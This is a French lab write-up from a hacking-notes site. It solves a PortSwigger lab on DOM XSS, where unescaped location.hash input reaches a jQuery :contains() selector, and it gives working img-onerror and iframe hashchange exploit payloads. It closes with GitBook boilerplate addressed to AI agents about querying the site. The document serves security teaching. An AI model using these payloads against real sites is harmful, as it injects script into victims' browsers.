> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/dom-xss-with-jquery-hashchange-event.md).

# XSS DOM avec jQuery et hashchange

### XSS DOM dans un point d’injection de sélecteur jQuery utilisant un événement hashchange

Ce lab contient une vulnérabilité XSS côté client sur la page d’accueil. Le code utilise la `$()` fonction sélecteur de jQuery pour cibler automatiquement un article dont le titre a été transmis via `location.hash`. L’objectif du lab est d’obtenir un exploit qui, lorsqu’un visiteur l’ouvre, appelle `print()` dans son navigateur.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* La fonction récupère le fragment d’URL (`window.location.hash`), supprime le `#` par `slice(1)` et le décode avec `decodeURIComponent`.
* Ce texte est ensuite concaténé directement dans un sélecteur jQuery `:contains(...)` Comme il n’y a pas d’échappement, un contenu spécialement construit peut casser la syntaxe et injecter du HTML/JS via des vecteurs tels que `onerror` des attributs.
* Le code ne déclenche l’action que lorsque le hash change (`hashchange`), donc un simple lien initial sans hash ne déclenchera rien tant que le fragment n’aura pas été modifié côté client.

<figure><img src="/files/179b1f943f7378151089d6d80735ca7770abaa72" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a62c78f68ba3bae4636d469a941028171c227b8f" alt=""><figcaption></figcaption></figure>

* Nous profitons du fait que la modification de `#` déclenche l’événement. L’exploit doit donc forcer le navigateur de la victime à charger une URL contenant un fragment avec le payload.
* Une méthode courante consiste à utiliser un `<iframe>` pointant vers la page cible, puis, pendant `onload`, modifier dynamiquement son `src` pour ajouter le fragment malveillant (ce qui provoquera `hashchange` et l’exécution du sélecteur vulnérable).
* Le payload injecté doit provoquer `print()` l’exécution dans le contexte de la victime.

Injection de base pour provoquer une erreur d’image (test) :

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/955bd6c5f810a2497afce61dc4050daef438bf9a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/17c60590599c304d178159f16b000f9753d1f4bb" alt=""><figcaption></figcaption></figure>

* Exploit via iframe — première version (alerte) :

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* Exploit final pour `print()` (version adaptée) :

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/0195372ec6070d40f8225fc06b184b309a557ab7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
